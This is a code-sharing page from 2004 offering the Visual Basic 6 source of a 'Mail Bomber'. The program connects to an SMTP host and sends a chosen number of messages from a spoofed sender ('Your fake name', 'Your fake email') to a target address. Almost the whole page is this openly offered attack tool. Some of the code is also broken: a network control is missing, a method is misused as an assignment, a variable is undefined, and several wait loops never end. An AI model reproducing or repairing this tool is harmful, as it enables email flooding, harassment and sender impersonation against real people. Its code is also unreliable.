by Samuel (3 Submissions)
Category: Internet/HTML
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Thu 11th November 2004
Date Added: Mon 8th February 2021
Rating: 
(1 Votes)
This is a mail bomber. It uses winsock to connect to the SMTP host then sends a specified amount of mail through to a specific email address.
VBcoders
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "Mscomctl.ocx"
Begin VB.Form Form1
BorderStyle = 1 'Fixed Single
Caption = "Mail Bomber"
ClientHeight = 3735
ClientLeft = 45
ClientTop = 435
ClientWidth = 4755
ForeColor = &H000000FF&
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
Moveable = 0 'False
ScaleHeight = 3735
ScaleWidth = 4755
StartUpPosition = 3 'Windows Default
Begin MSComctlLib.ProgressBar ProgressBar1
Height = 255
Left = 240
TabIndex = 11
Top = 3360
Width = 4335
_ExtentX = 7646
_ExtentY = 450
_Version = 393216
Appearance = 1
End
Begin VB.Timer Timer2
Left = 2040
Top = 960
End
Begin VB.Timer Timer1
Left = 2640
Top = 600
End
Begin VB.CommandButton Command2
Caption = "STOP"
Height = 375
Left = 3480
TabIndex = 9
Top = 2040
Width = 1215
End
Begin VB.CommandButton Command1
Caption = "BOMB"
Height = 375
Left = 2040
TabIndex = 8
Top = 2040
Width = 1335
End
Begin VB.TextBox Text8
Height = 1815
Left = 2040
MultiLine = -1 'True
TabIndex = 7
Text = "BOMBER.frx":0000
Top = 120
Width = 2655
End
Begin VB.TextBox Text7
Height = 285
Left = 240
TabIndex = 6
Text = "Subject"
Top = 2520
Width = 1575
End
Begin VB.TextBox Text6
Height = 285
Left = 240
TabIndex = 5
Text = "Their email"
Top = 2160
Width = 1575
End
Begin VB.TextBox Text5
Height = 285
Left = 240
TabIndex = 4
Text = "Their name"
Top = 1800
Width = 1575
End
Begin VB.TextBox Text4
Height = 285
Left = 240
TabIndex = 3
Text = "Your fake email"
Top = 1440
Width = 1575
End
Begin VB.TextBox Text3
Height = 285
Left = 240
TabIndex = 2
Text = "Your fake name"
Top = 1080
Width = 1575
End
Begin VB.TextBox Text2
Height = 285
Left = 240
TabIndex = 1
Text = "No. of emails to send"
Top = 600
Width = 1455
End
Begin VB.TextBox Text1
Height = 285
Left = 240
TabIndex = 0
Text = "SMPT Host"
Top = 240
Width = 1455
End
Begin VB.Frame Frame1
Height = 975
Left = 120
TabIndex = 12
Top = 0
Width = 1695
End
Begin VB.Label Label2
Height = 255
Left = 240
TabIndex = 13
Top = 3000
Width = 855
End
Begin VB.Label Label1
Caption = "Mail Bomber - by Samuel"
Height = 255
Left = 1320
TabIndex = 10
Top = 3000
Width = 2655
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim go As Boolean
Dim a
Private Sub Command1_Click()
Label2.Caption = Text2.Text
Text1.Enabled = False
Text2.Enabled = False
Text3.Enabled = False
Text4.Enabled = False
Text5.Enabled = False
Text6.Enabled = False
Text7.Enabled = False
Text8.Enabled = False
Command1.Enabled = False
While Label2.Caption <> 0
DoEvents
If Text1.Text = "" Then
MsgBox "Please fill out all the information.", , "Mail Bomber"
GoTo 1
End If
If Text2.Text = "" Or Text2.Text = "No. of emails to send" Then
MsgBox "Please fill out all the information.", , "Mail Bomber"
GoTo 1
End If
If Text3.Text = "" Then
MsgBox "Please fill out all the information.", , "Mail Bomber"
GoTo 1
End If
If Text4.Text = "" Then
MsgBox "Please fill out all the information.", , "Mail Bomber"
GoTo 1
End If
If Text5.Text = "" Then
MsgBox "Please fill out all the information.", , "Mail Bomber"
GoTo 1
End If
If Text6.Text = "" Then
MsgBox "Please fill out all the information.", , "Mail Bomber"
GoTo 1
End If
If Text7.Text = "" Then
MsgBox "Please fill out all the information.", , "Mail Bomber"
GoTo 1
End If
Winsock1.Close
Winsock1.Connect Text1.Text, "25"
Do While Winsock1.State <> sckConnected
DoEvents
Label1.Caption = "Connecting to host. . ."
Loop
Label1.Caption = "Connected"
Do While go = False
DoEvents
Label1.Caption = "Waiting for response. . ."
Loop
Winsock1.SendData "MAIL FROM: " & Text4.Text & Chr$(13) & Chr$(10)
Do While a <> 1
Label1.Caption = "Sending data."
ProgressBar1.Value = 25
Loop
Winsock1.SendData "RCPT TO: " & Text6.Text & Chr$(13) & Chr$(10)
Do While a <> 2
ProgressBar1.Value = 50
Loop
Winsock1.SendData "DATA" & Chr$(13) & Chr$(10)
Do While a <> 3
DoEvents
ProgressBar1.Value = 75
Loop
Winsock1.SendData "FROM: " & Text3.Text & " <" & Text4.Text & ">" & Chr$(13) & Chr$(10)
Winsock1.SendData "TO: " & Text4.Text & " <" & Text6.Text & ">" & Chr$(13) & Chr$(10)
Winsock1.SendData "SUBJECT: " & Text7.Text & Chr$(13) & Chr$(10)
Winsock1.SendData Chr$(13) & Chr$(10)
Winsock1.SendData Data & Chr$(13) & Chr$(10)
Winsock1.SendData Chr$(13) & Chr$(10) & "." & Chr$(13) & Chr$(10)
Do While a <> 4
DoEvents
Label1.Caption = "Done"
ProgressBar1.Value = 100
Loop
Winsock1.SendData = "QUIT" & Chr$(13) & Chr$(10)
Winsock1.Close
Label2.Caption = Label2.Caption - 1
Wend
1
End Sub
Private Sub Command2_Click()
Winsock1.Close
Text1.Enabled = True
Text2.Enabled = True
Text3.Enabled = True
Text4.Enabled = True
Text5.Enabled = True
Text6.Enabled = True
Text7.Enabled = True
Text8.Enabled = True
Command1.Enabled = True
End Sub
Private Sub Form_Load()
Timer1.Interval = 1000
End Sub
Private Sub Text2_GotFocus()
Text2.Text = "100"
End Sub
Private Sub Timer1_Timer()
Label1.ForeColor = &HFF&
Timer2.Interval = 500
End Sub
Private Sub Timer2_Timer()
Label1.ForeColor = &H80000012
End Sub
No comments have been posted about This is a mail bomber. It uses winsock to connect to the SMTP host then sends a specified amount of. Why not be the first to post a comment about This is a mail bomber. It uses winsock to connect to the SMTP host then sends a specified amount of.
